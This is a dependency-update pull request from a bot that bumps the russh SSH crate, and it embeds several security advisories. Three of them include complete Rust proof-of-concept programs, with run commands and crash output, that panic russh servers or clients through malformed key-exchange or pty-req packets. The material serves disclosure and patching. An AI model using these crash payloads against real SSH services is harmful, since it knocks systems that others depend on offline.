Skip to content

Update Rust crate russh to 0.62 [SECURITY] - #201

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/crate-russh-vulnerability
Open

Update Rust crate russh to 0.62 [SECURITY]#201
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/crate-russh-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 28, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Type Update Change
russh dependencies minor 0.610.62

Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)

GHSA-5xvq-cp9x-6p6r

More information

Details

A pre-authentication denial-of-service panic in russh 0.62.2 (commit
c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as
of 2026-07-22). An unauthenticated client sends a single SSH_MSG_KEX_ECDH_INIT
whose Q_C is 32 zero bytes. russh's Curve25519 KEX does not reject the
all-zero peer public value, so server_dh() computes the all-zero shared
secret and compute_exchange_hash() then calls encode_mpint(&shared.0, ...),
which indexes s[i] at i == s.len() and panics (index out of bounds: the len is 32 but the index is 32) before host-key signature verification.
The server KEX task dies on the first KEX message, before authentication.

This is reachable with the default server configuration
(Config::default()Preferred::DEFAULT, whose kex list includes
curve25519-sha256) and requires no caller-supplied parameter. It is
reproduced end-to-end against the unmodified real russh 0.62.2 library (a real
server + raw TCP client over TCP); the PoC below links the real crate, not a
copied snippet. The defect is still present on main HEAD (v0.62.3,
2026-07-22) and is not covered by any of the 11 published russh GHSA advisories
(GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not
Curve25519).

Rust bounds-checked panics abort the task safely (no memory corruption / RCE);
the impact is remote denial of service.

Details

russh/src/kex/curve25519.rs, server_dh() (server path; attacker = client):

fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result<(), crate::Error> {
    // only the 32-byte length is checked, NOT zero / low-order:
    let mut pubkey = MontgomeryPoint([0; 32]);
    pubkey.0.clone_from_slice(&payload[5..5 + 32]);      // line 73
    ...
    let shared = server_secret * client_pubkey;           // all-zero when client_pubkey == [0;32]
    self.shared_secret = Some(shared);                    // line 86
    Ok(())
}

The server then computes the exchange hash before verifying the host-key
signature (russh/src/server/kex.rs):

kex.server_dh(exchange, &input.buffer)?;                    // line 247
...
let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?;  // line 274 — panics

compute_exchange_hash() calls encode_mpint(&shared.0, buffer), whose
leading-zero skip loop advances i to s.len() and then indexes s[i]
(russh/src/kex/mod.rs):

pub(crate) fn encode_mpint<W: Writer>(s: &[u8], w: &mut W) -> Result<(), Error> {
    let mut i = 0;
    while i < s.len() && s[i] == 0 { i += 1 }   // i advances to s.len() for all-zero input
    if s[i] & 0x80 != 0 {                        // line 482 — index out of bounds: s[s.len()]
        ...

On Curve25519, scalar * MontgomeryPoint([0;32]) yields MontgomeryPoint([0;32])
(the identity element), so the all-zero shared secret is attacker-controlled.
RFC 7748 §6 requires implementations to detect and reject all-zero / low-order
peer public values and shared secrets; russh does not. The client path
(compute_shared_secret, curve25519.rs:110-142) has the same chain but is
reached only after the server host-key signature is verified, so it requires a
malicious server that can sign its own host key (same root cause, lower
severity).

PoC

The PoC is a standalone examples/ binary that links the unmodified real
russh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK
case (all-zero Q_C → panic) and a CONTROL case (random Q_C → completes kex),
proving the panic is caused specifically by the all-zero value.

One-line reproducer
##### Drop the .rs below into russh/examples/ of a checkout of
##### Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_t13_zero_curve25519
RUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519
russh/examples/e2e_t13_zero_curve25519.rs
// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics
// russh's SSH exchange-hash computation.
//
// A real `russh::server` with `Config::default()` (curve25519-sha256 in the
// default kex list) + a real Ed25519 host key is started on a TCP listener.
// A raw TCP "attacker" client sends: SSH banner -> SSH_MSG_KEXINIT offering
// curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.
// The server drives the real path server_dh -> compute_exchange_hash ->
// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.

use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;

use byteorder::{BigEndian, ByteOrder};
use russh::server::{self, Handler};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};

const MSG_KEXINIT: u8 = 20;
const MSG_KEX_ECDH_INIT: u8 = 30;  // RFC 8731 §3
const MSG_KEX_ECDH_REPLY: u8 = 31;

#[tokio::main]
async fn main() {
    println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n");

    let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await;
    println!();
    let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await;

    println!("\n=== summary ===");
    println!("case    | server panicked | got ECDH_REPLY");
    println!("ATTACK  | {atk_panic:<15} | {atk_reply}   (Q_C = all-zero)");
    println!("CONTROL | {ctl_panic:<15} | {ctl_reply}   (Q_C = random non-zero)");

    if atk_panic && !atk_reply && !ctl_panic && ctl_reply {
        println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
        println!("   A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the");
        println!("   all-zero Curve25519 point makes the real russh server panic");
        println!("   inside encode_mpint (index out of bounds: len 32, index 32)");
        println!("   during compute_exchange_hash, BEFORE host-key verification.");
    } else {
        eprintln!("NOT reproduced");
        std::process::exit(1);
    }
}

enum QcKind { AllZero, Random }

async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) {
    let panicked = Arc::new(AtomicBool::new(false));
    {
        let flag = panicked.clone();
        let prev = std::panic::take_hook();
        std::panic::set_hook(Box::new(move |info| {
            flag.store(true, Ordering::SeqCst);
            eprintln!("[{label} server task panicked] {info}");
            prev(info);
        }));
    }

    // real russh server, DEFAULT config (curve25519-sha256 in the kex list)
    // + real Ed25519 host key.
    let mut config = server::Config::default();
    config.inactivity_timeout = None;
    config.auth_rejection_time = std::time::Duration::from_millis(1);
    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
    config.keys.push(
        russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),
    );
    let config = Arc::new(config);

    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
    let addr = listener.local_addr().unwrap();
    let server_task = tokio::spawn(async move {
        let (socket, _peer) = listener.accept().await.unwrap();
        let session = server::run_stream(config, socket, NoopHandler).await.unwrap();
        session.await
    });

    // raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C)
    let mut s = TcpStream::connect(addr).await.unwrap();
    s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap();
    s.flush().await.unwrap();
    let _server_id = read_ssh_id(&mut s).await.unwrap();
    let _server_kexinit = read_packet(&mut s).await.unwrap();
    s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap();
    s.flush().await.unwrap();

    let q_c: [u8; 32] = match qc {
        QcKind::AllZero => [0u8; 32],
        QcKind::Random => {
            let mut b: [u8; 32] = rand::random();
            if b.iter().all(|&x| x == 0) { b[0] = 1; }
            b
        }
    };
    let mut ecdh_init = Vec::new();
    ecdh_init.push(MSG_KEX_ECDH_INIT);
    encode_string(&mut ecdh_init, &q_c);
    s.write_all(&ssh_packet(&ecdh_init)).await.unwrap();
    s.flush().await.unwrap();
    let qdesc = match qc { QcKind::AllZero => "all-zero", QcKind::Random => "random" };
    println!("[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})");

    let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(&mut s)).await {
        Ok(Ok(pkt)) => {
            let is_reply = pkt.first() == Some(&MSG_KEX_ECDH_REPLY);
            println!("[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})", pkt.first());
            is_reply
        }
        _ => { println!("[{label}] read failed / connection closed (no ECDH_REPLY)"); false }
    };

    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
    let server_panicked = panicked.load(Ordering::SeqCst);
    println!("[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}");
    let _ = std::panic::take_hook();
    (server_panicked, got_reply)
}

#[derive(Clone)]
struct NoopHandler;
impl Handler for NoopHandler { type Error = russh::Error; }

fn kexinit_payload_curve25519() -> Vec<u8> {
    let mut p = Vec::new();
    p.push(MSG_KEXINIT);
    p.extend_from_slice(&[0u8; 16]); // cookie
    encode_name_list(&mut p, &["curve25519-sha256"]);          // kex
    encode_name_list(&mut p, &["ssh-ed25519"]);                // host key
    encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // c2s cipher
    encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // s2c cipher
    encode_name_list(&mut p, &["hmac-sha2-256"]);              // c2s mac
    encode_name_list(&mut p, &["hmac-sha2-256"]);              // s2c mac
    encode_name_list(&mut p, &["none"]);                      // c2s compression
    encode_name_list(&mut p, &["none"]);                      // s2c compression
    encode_name_list(&mut p, &[]);                            // c2s languages
    encode_name_list(&mut p, &[]);                            // s2c languages
    p.push(0);                                                // first_kex_packet_follows = false
    push_u32(&mut p, 0);                                      // reserved
    p
}

fn ssh_packet(payload: &[u8]) -> Vec<u8> {
    let mut padding_len = 8 - ((5 + payload.len()) % 8);
    if padding_len < 4 { padding_len += 8; }
    let packet_len = 1 + payload.len() + padding_len;
    let mut packet = Vec::with_capacity(4 + packet_len);
    push_u32(&mut packet, packet_len as u32);
    packet.push(padding_len as u8);
    packet.extend_from_slice(payload);
    packet.resize(packet.len() + padding_len, 0);
    packet
}

async fn read_packet(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
    let mut len_buf = [0u8; 4];
    stream.read_exact(&mut len_buf).await?;
    let packet_len = BigEndian::read_u32(&len_buf) as usize;
    let mut packet = vec![0u8; packet_len];
    stream.read_exact(&mut packet).await?;
    let padding_len = packet[0] as usize;
    Ok(packet[1..packet.len() - padding_len].to_vec())
}

async fn read_ssh_id(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
    let mut id = Vec::new();
    loop {
        let mut byte = [0u8; 1];
        stream.read_exact(&mut byte).await?;
        id.push(byte[0]);
        if byte[0] == b'\n' { return Ok(id); }
    }
}

fn encode_name_list(buf: &mut Vec<u8>, names: &[&str]) { encode_string(buf, names.join(",").as_bytes()); }
fn encode_string(buf: &mut Vec<u8>, value: &[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }
fn push_u32(buf: &mut Vec<u8>, value: u32) {
    let mut bytes = [0u8; 4];
    BigEndian::write_u32(&mut bytes, value);
    buf.extend_from_slice(&bytes);
}

Real captured output (ATTACK, RUST_BACKTRACE=1):

[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)
[ATTACK  server task panicked] panicked at russh/src/kex/mod.rs:482:8:
index out of bounds: the len is 32 but the index is 32
thread 'tokio-rt-worker' panicked at russh/src/kex/mod.rs:482:8
stack backtrace:
   3: russh::kex::encode_mpint::<CryptoVec>
   4: <Curve25519Kex as KexAlgorithmImplementor>::compute_exchange_hash
   5: <ServerKex>::step ... server::reply ... Session::run
[ATTACK ] server task panicked = true, got ECDH_REPLY = false
[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)
[CONTROL] server task panicked = false, got ECDH_REPLY = true
=> CONFIRMED (end-to-end, real russh 0.62.2)

The backtrace confirms the real in-library call path on a tokio worker,
pre-authentication, before any host-key signature verification.

Impact

Remote, pre-authentication denial of service of any russh SSH server using
the default configuration.
A single 37-byte SSH_MSG_KEX_ECDH_INIT (0x1e

  • 0x00000020 + 32 zero bytes) from an unauthenticated client crashes the
    server's KEX task before authentication. Because the panic is in an async russh
    task it aborts that connection's handler; depending on the embedder's panic
    containment it can also tear down the server if the panic is not contained
    per-connection.

A malicious SSH server can symmetrically crash a russh client after
host-key verification by sending an all-zero Q_S in
SSH_MSG_KEX_ECDH_REPLY (same root cause, lower severity — requires the
server to control its own signed host key).

No confidentiality/integrity break is demonstrated. The all-zero shared secret
would itself be a catastrophic key-compromise if russh did not already crash,
but the observed impact is the crash.

CVSS
  • AV:N — reachable from a remote SSH peer
  • AC:L — requires only a 32-byte all-zero Q_C
  • PR:N — pre-authentication
  • UI:N — no user interaction
  • C:N, I:N — no confidentiality or integrity impact demonstrated
  • A:H — remote unauthenticated crash of the server KEX task
Suggested fixes

Reject all-zero / low-order Curve25519 peer public values (RFC 7748 §6) in
server_dh() / compute_shared_secret():

if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

and harden encode_mpint against the all-zero input:

if i == s.len() {
    return 0u32.encode(w);   // all-zero mpint = empty string per RFC 4251 §5
}
Affected versions
  • russh <= 0.62.3 (commit c4be19f1915c / current main HEAD
    v0.62.3, 2026-07-22). The bug is still present on main; it is not covered
    by any of the 11 published russh GHSA advisories. Default server::Config
    and client::Config are affected (no feature flag or opt-in).
Credit

Independently reported by Zhaodl1 and the diff/ambidiff security research effort (afldl).

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Russh: Post-auth remote panic via pty-req with more than 130 terminal-mode records

GHSA-cqjc-rmpq-xprq

More information

Details

Summary

A post-authentication denial-of-service panic in russh 0.62.2 (commit
c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as
of 2026-07-22). An authenticated client sends a pty-req channel request
carrying more than 130 terminal-mode records. The parser uses a fixed
[(Pty::TTY_OP_END, 0); 130] array but increments its counter i for every
valid record (logging "too many pty codes" without returning), then slices
&modes[0..i] — an out-of-bounds slice that panics (range end index 131 out of range for slice of length 130) before the application pty_request
handler runs.

This is reachable with the default server configuration and the default
crypto config (curve25519-sha256 + chacha20-poly1305), requiring only an
authenticated session channel — no caller-supplied parameter. It is reproduced
end-to-end against the unmodified real russh 0.62.2 library (a real
russh::client + russh::server over TCP, using the public
Channel::request_pty(...) API); the PoC below links the real crate, not a
copied snippet. The defect is still present on main HEAD (v0.62.3,
2026-07-22) and is not covered by any of the 11 published russh GHSA
advisories (GHSA-4r3c-5hpg-58qr / CVE-2026-48110 is allocation-first string
parsing, not the fixed-array slice overflow; it was fixed in 0.61.0 but this
code path still overflows the fixed array).

Rust bounds-checked panics abort the task safely (no memory corruption / RCE);
the impact is remote denial of service.

Details

russh/src/server/encrypted.rs, pty-req handling (lines 1137–1201):

let mut modes = [(Pty::TTY_OP_END, 0); 130];     // fixed 130-entry array (line 1137)
let mut i = 0;
...
while !mode_bytes.is_empty() {
    let code = mode_bytes[0];
    if code == 0 { if mode_bytes.len() != 1 { return Err(...); } break; }
    if mode_bytes.len() < 5 { return Err(...); }
    let num = BigEndian::read_u32(&mode_bytes[1..5]);
    if let Some(code) = Pty::from_u8(code) {
        if i < 130 {
            modes[i] = (code, num);
        } else {
            error!("pty-req: too many pty codes");   // logs, does NOT return (line 1162)
        }
    }
    i += 1;                                          // keeps growing past 130
    mode_bytes = &mode_bytes[5..];
}
...
handler.pty_request(channel_num, &term, ..., &modes[0..i], self).await  // line 1201 — OOB when i > 130

Each terminal-mode record is exactly 5 bytes (1-byte opcode + 4-byte value),
and i += 1 runs for every valid record (including repeats of the same
opcode). The if i < 130 write-gate prevents an in-array overflow but the
counter still grows unbounded, and the later &modes[0..i] slice has no
corresponding bound. SSH packet-size limits do not bound the mode count to
130, so a single normal-sized pty-req can carry hundreds of mode records.
The client's own request_pty serialization (russh/src/client/session.rs:

((1 + 5 * terminal_modes.len()) as u32).encode(&mut enc.write)?;   // line 129
for &(code, value) in terminal_modes {
    if code == Pty::TTY_OP_END { continue; }
    (code as u8).encode(&mut enc.write)?;
    value.encode(&mut enc.write)?;                                   // line 135
}

writes every record with no count cap, so 131 records reach the server as a
legitimate authenticated channel request.

PoC

The PoC is a standalone examples/ binary that links the unmodified real
russh 0.62.2 crate and reproduces over a real TCP connection with the default
crypto config. It runs an ATTACK case (131 mode records → panic) and a CONTROL
case (130 mode records → parses fine), proving the panic is caused
specifically by exceeding the 130-entry array.

One-line reproducer
##### Drop the .rs below into russh/examples/ of a checkout of
##### Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_c15_pty_modes_panic
RUST_BACKTRACE=1 ./target/release/examples/e2e_c15_pty_modes_panic
russh/examples/e2e_c15_pty_modes_panic.rs
// End-to-end PoC: an authenticated pty-req with more than 130 terminal-mode
// records panics the russh server in its pty-req parser.
//
// A real `russh::client` + `russh::server` with the DEFAULT crypto config
// (curve25519-sha256 + chacha20-poly1305). The client authenticates (auth_none),
// opens a session channel, and calls the public Channel::request_pty(...) API
// with 131 (ATTACK) and 130 (CONTROL) terminal-mode records. The server
// panics in its pty-req parser (&modes[0..i] OOB) on 131, parses fine on 130.

use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::{Arc, Mutex};

use russh::keys::Algorithm;
use russh::server::{self, Auth, ChannelOpenHandle, Handler, Msg, Session};
use russh::{Channel, ChannelId, Pty};
use tokio::net::TcpListener;

#[tokio::main]
async fn main() {
    println!("=== russh pty-req mode overflow panic (real russh 0.62.2, default crypto) ===\n");

    let (atk_panic, atk_handler) = run_case(131, "ATTACK ").await; // expect panic
    println!();
    let (ctl_panic, ctl_handler) = run_case(130, "CONTROL").await; // expect ok

    println!("\n=== summary ===");
    println!("case    | server panicked | pty_request handler ran");
    println!("ATTACK  | {atk_panic:<15} | {atk_handler}   (131 mode records)");
    println!("CONTROL | {ctl_panic:<15} | {ctl_handler}   (130 mode records)");

    if atk_panic && !atk_handler && !ctl_panic && ctl_handler {
        println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
        println!("   A single authenticated SSH_MSG_CHANNEL_REQUEST `pty-req`");
        println!("   carrying 131 valid terminal-mode records makes the real");
        println!("   russh server panic in its pty-req parser");
        println!("   (range end index 131 out of range for slice of length 130)");
        println!("   before the application pty_request handler runs.");
    } else {
        eprintln!("NOT reproduced");
        std::process::exit(1);
    }
}

async fn run_case(num_modes: usize, label: &'static str) -> (bool, bool) {
    let panicked = Arc::new(AtomicBool::new(false));
    {
        let flag = panicked.clone();
        let prev = std::panic::take_hook();
        std::panic::set_hook(Box::new(move |info| {
            flag.store(true, Ordering::SeqCst);
            eprintln!("[{label} server task panicked] {info}");
            prev(info);
        }));
    }

    let events: Arc<Mutex<Vec<&'static str>>> = Arc::new(Mutex::new(Vec::new()));

    // real russh server, DEFAULT crypto config (curve25519 + chacha20)
    let mut config = server::Config::default();
    config.inactivity_timeout = None;
    config.auth_rejection_time = std::time::Duration::from_millis(1);
    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
    config.keys.push(russh::keys::PrivateKey::random(&mut rand::rng(), Algorithm::Ed25519).unwrap());
    let config = Arc::new(config);

    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
    let addr = listener.local_addr().unwrap();

    let server_events = events.clone();
    let server_task = tokio::spawn(async move {
        let (socket, _peer) = listener.accept().await.unwrap();
        let handler = PtyServer { events: server_events };
        let session = server::run_stream(config, socket, handler).await.unwrap();
        session.await
    });

    // real russh client (default config: real ECDH + encryption + auth)
    let client_config = Arc::new(russh::client::Config::default());
    let mut session = russh::client::connect(client_config, addr, AcceptAllClient {}).await.unwrap();
    let auth = session.authenticate_none("attacker").await.unwrap();
    assert!(auth.success(), "[{label}] auth_none did not succeed");

    let channel = session.channel_open_session().await.unwrap();
    println!("[{label}] authenticated + opened session channel");

    // terminal_modes: num_modes records of (VINTR, 42). The client serializes
    // all of them with no count cap (client/session.rs:129-137).
    let modes: Vec<(Pty, u32)> = vec![(Pty::VINTR, 42u32); num_modes];
    let want_reply = true;

    let pty_result = tokio::time::timeout(
        std::time::Duration::from_secs(3),
        channel.request_pty(want_reply, "xterm", 80, 24, 0, 0, &modes),
    ).await;
    println!("[{label}] client request_pty({num_modes} modes) -> {pty_result:?}");

    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
    let server_panicked = panicked.load(Ordering::SeqCst);
    let handler_ran = events.lock().unwrap().contains(&"pty_request");
    println!("[{label}] server task panicked = {server_panicked}, pty_request handler ran = {handler_ran}");
    let _ = std::panic::take_hook();
    (server_panicked, handler_ran)
}

#[derive(Clone)]
struct PtyServer { events: Arc<Mutex<Vec<&'static str>>> }
impl PtyServer {
    fn record(&self, e: &'static str) { self.events.lock().unwrap().push(e); }
}
impl Handler for PtyServer {
    type Error = russh::Error;
    async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> { Ok(Auth::Accept) }
    async fn channel_open_session(
        &mut self, _channel: Channel<Msg>, reply: ChannelOpenHandle, _session: &mut Session,
    ) -> Result<(), Self::Error> { reply.accept().await; Ok(()) }
    async fn pty_request(
        &mut self, _channel: ChannelId, _term: &str, _col_width: u32, _row_height: u32,
        _pix_width: u32, _pix_height: u32, _modes: &[(Pty, u32)], _session: &mut Session,
    ) -> Result<(), Self::Error> { self.record("pty_request"); Ok(()) }
}

#[derive(Clone)]
struct AcceptAllClient {}
impl russh::client::Handler for AcceptAllClient {
    type Error = russh::Error;
    async fn check_server_key(
        &mut self, _server_public_key: &russh::keys::PublicKey,
    ) -> Result<bool, Self::Error> { Ok(true) }
}

Real captured output (ATTACK, RUST_BACKTRACE=1):

[ATTACK ] client request_pty(131 modes) -> Ok(Ok(()))
[ATTACK  server task panicked] panicked at russh/src/server/encrypted.rs:1201:39:
range end index 131 out of range for slice of length 130
thread 'tokio-rt-worker' panicked at russh/src/server/encrypted.rs:1201:39
stack backtrace:
   3: <Session>::server_read_authenticated::<PtyServer>
   4: <Session>::process_packet::<PtyServer>
   5: russh::server::reply::<PtyServer>
[ATTACK ] server task panicked = true, pty_request handler ran = false
[CONTROL] server task panicked = false, pty_request handler ran = true
=> CONFIRMED (end-to-end, real russh 0.62.2)

The panic occurs in russh's own post-auth parser before any application
handler is invoked.

Impact

Remote, post-authentication denial of service of any russh SSH server using
the default configuration.
Any authenticated client with a session channel can
crash the russh server task with a single SSH_MSG_CHANNEL_REQUEST pty-req
carrying 131+ terminal-mode records (each record is 5 bytes, so 131 records
fit in one normal-sized packet). This is trivially reachable for any legitimate
or compromised SSH user. DoS only — Rust bounds-checked panics abort the task
safely; there is no memory corruption or RCE.

Suggested fix

Cap i at 130 and reject the request instead of logging and continuing:

if i >= 130 {
    return Err(Error::Inconsistent.into());   // reject instead of logging+continuing
}
modes[i] = (code, num);
Affected versions
  • russh <= 0.62.3 (commit c4be19f1915c / current main HEAD
    v0.62.3, 2026-07-22). The bug is still present on main; it is not covered
    by any of the 11 published russh GHSA advisories. Default server::Config
    and client::Config are affected (no feature flag or opt-in).
Credit

Reported by the diff/ambidiff security research effort (afldl). Happy to
coordinate a disclosure timeline; will request a CVE once confirmed.

Severity

  • CVSS Score: 4.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Russh: client wrong-length X25519 clone_from_slice panic (pre-auth DoS)

GHSA-g9hv-x236-4qp3

More information

Details

Summary

A malicious SSH server can crash a russh client session with a single
malformed key-exchange reply, causing a pre-authentication Denial-of-Service
before the server host key is verified. The embedding process itself stays
up, but the connection is killed deterministically.

Details

Every other kex path in russh validates the peer ephemeral length before
cloning:

  • Curve25519Kex::server_dh (russh/src/kex/curve25519.rs:61-65) checks
    if pubkey_len != 32 { return Err(crate::Error::Kex); } before
    clone_from_slice.
  • The hybrid ML-KEM, ECDH-NIST, and DH/GEX paths all validate lengths.

Only the client-side curve25519 compute_shared_secret is missing the check.
This asymmetric validation gap makes the bug easy to miss in code review: a
malicious client cannot panic a russh server this way (the server path
checks the length), but a malicious server can panic a russh client.

Incriminated source code (repo-relative paths):

  • Vulnerable compute_shared_secret: russh/src/kex/curve25519.rs:110-117 (panic at line 113)
  • Client-side entry point: russh/src/client/kex.rs:266-277 (KEX_ECDH_REPLYBytes::decodecompute_shared_secret)
  • Server-side contrast (has the length check): russh/src/kex/curve25519.rs:51-88 (server_dh)
  • Session spawn site: russh/src/client/mod.rs (connect_streamrussh_util::runtime::spawn)
  • Runtime wrapper: russh-util/src/runtime.rs:37-48 (spawn wraps tokio::spawn; panic surfaces as JoinError)
PoC

A standalone, self-contained Cargo PoC is provided in
vuln_poc/vuln_002_client_wronglen_x25519_panic/ in this repo. It installs a
global panic hook that sets an AtomicBool if any panic fires, starts a
malicious raw SSH server on 127.0.0.1:0 that completes the SSH id and
KEXINIT exchange, reads the client KEX_ECDH_INIT, and sends
KEX_ECDH_REPLY with a 16-byte server ephemeral (instead of 32) and a fake
signature. It then calls russh::client::connect with Preferred::kex set
to curve25519-sha256 and a handler that accepts any server key (the check
is never reached because the client panics first) and prints a clear verdict.

Build & run:

cd vuln_poc/vuln_002_client_wronglen_x25519_panic
cargo run --release

Expected output (verdict line, from a successful reproduction):

[poc] panic captured: panicked at russh/src/kex/curve25519.rs:113:25:
  copy_from_slice: source slice length (16) does not match destination slice length (32)
[!] Vulnerability reproduced: russh client panicked in Curve25519Kex::compute_shared_secret
  on a wrong-length (16-byte) server ephemeral before verifying the host key signature
  (pre-auth client DoS).

The malicious payload is the f field of KEX_ECDH_REPLY:

MSG_KEX_ECDH_REPLY (1 byte, value 0x1f)
  string K_S            (server host key blob — any valid-looking bytes)
  string f              (server ephemeral — 16 bytes of 0x00 instead of 32)
  string signature      (fake; never verified by the client)

The length prefix of f is 4 (u32 BE) = 16, followed by 16 bytes. The
russh client decodes this into exchange.server_ephemeral (a Vec<u8> of
length 16) and passes it to compute_shared_secret, which panics on
clone_from_slice.

Impact

What kind of vulnerability: CWE-704 (incorrect type conversion / cast —
clone_from_slice length mismatch) → deterministic panic → pre-authentication
per-connection Denial-of-Service. The attacker does not need the server's
private key; any network position that can deliver a malformed
KEX_ECDH_REPLY (a rogue server, or a MitM before authentication) suffices.

Who is impacted: any deployment that uses russh::client::connect (or
connect_stream) to connect to an attacker-controlled or MitM-reachable SSH
server, and that negotiates curve25519-sha256 (the default and
most-preferred kex algorithm in russh). A single malformed
KEX_ECDH_REPLY kills the client session; the attack is deterministic and
single-packet. The panic is isolated to the spawned session task
(tokio::spawn catches it and surfaces a JoinError), so the embedding
process keeps running — the impact is per-connection DoS, not process crash,
unless the embedder installs a custom panic hook that calls
std::process::abort.

Workaround: until a fix is released, clients can reduce exposure by
disabling curve25519-sha256 in the Preferred::kex list and preferring a
kex algorithm whose peer-ephemeral length is validated (e.g. the ECDH-NIST
or DH/GEX paths). This is a mitigation, not a fix.

Suggested fix (one-line length check, mirrors the existing server-side
server_dh check):

// russh/src/kex/curve25519.rs, at the top of compute_shared_secret:
fn compute_shared_secret(&mut self, remote_pubkey_: &[u8]) -> Result<(), crate::Error> {
    if remote_pubkey_.len() != 32 {
        return Err(crate::Error::Kex);
    }
    let local_secret = self.local_secret.take().ok_or(crate::Error::KexInit)?;
    let mut remote_pubkey = MontgomeryPoint([0; 32]);
    remote_pubkey.0.clone_from_slice(remote_pubkey_);
    let shared = local_secret * remote_pubkey;
    self.shared_secret = Some(shared);
    Ok(())
}

This makes the client-side compute_shared_secret consistent with the
existing server-side server_dh check at russh/src/kex/curve25519.rs:61-65
and with the other kex paths that already validate peer ephemeral lengths.

vuln_poc.zip

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Russh: Channel-scoped server callbacks can be reached without an open channel

CVE-2026-68930 / GHSA-m65r-rprj-r5rg

More information

Details

There is a server-side channel state issue in russh.

After a client is authenticated, russh can dispatch channel-scoped handler callbacks for recipient channel IDs that were never opened or confirmed. In the strongest reproduced case, the client does not send SSH_MSG_CHANNEL_OPEN at all. It authenticates normally, then sends SSH_MSG_CHANNEL_REQUEST packets with request type exec for a range of recipient channel IDs. russh still calls the server application's exec_request handler.

This is not an authentication bypass. A valid login is required. The issue is that the SSH channel lifecycle is not enforced before channel-scoped callbacks are delivered to the application.

Impact

An authenticated client can bypass the server application's channel-open policy.

A server may deny session channels by returning false from Handler::channel_open_session. A server may also assume that callbacks such as exec_request, shell_request, subsystem_request, data, channel_eof, or channel_close are only delivered for channels that were opened and confirmed by the SSH transport layer.

That assumption does not hold in the vulnerable path. A malicious authenticated peer can send channel-scoped messages for arbitrary recipient channel IDs and cause handler callbacks to run even though no channel exists.

The exact impact depends on the downstream application. For many SSH server use cases, exec_request, shell_request, or subsystem_request start commands, jobs, shells, SFTP-like subsystems, internal workflows, or other state-changing operations. In the PoC, the protected exec_request action runs even though no channel was opened.

Why this is not intended behavior

SSH channel requests are not global post-authentication requests. They are operations on an existing channel.

RFC 4254 describes channel-specific messages as carrying a recipient channel number. The exec request is a SSH_MSG_CHANNEL_REQUEST for a session channel. That means the recipient channel should refer to a channel that exists in the local open-channel state.

The relevant boundary is therefore not password authentication. The boundary is the channel-open decision. If no channel has been opened, or if the application denied the open request, russh should not deliver session-specific callbacks for that recipient ID.

This is also not just a handler bug. The handler does not own the transport channel table. russh does. The application gets a channel_open_* callback and returns whether the channel is allowed. If that decision is denied, or if the client never requested a channel at all, channel-scoped callbacks should not be reachable.

Documentation and API boundary

The public API documentation supports this boundary.

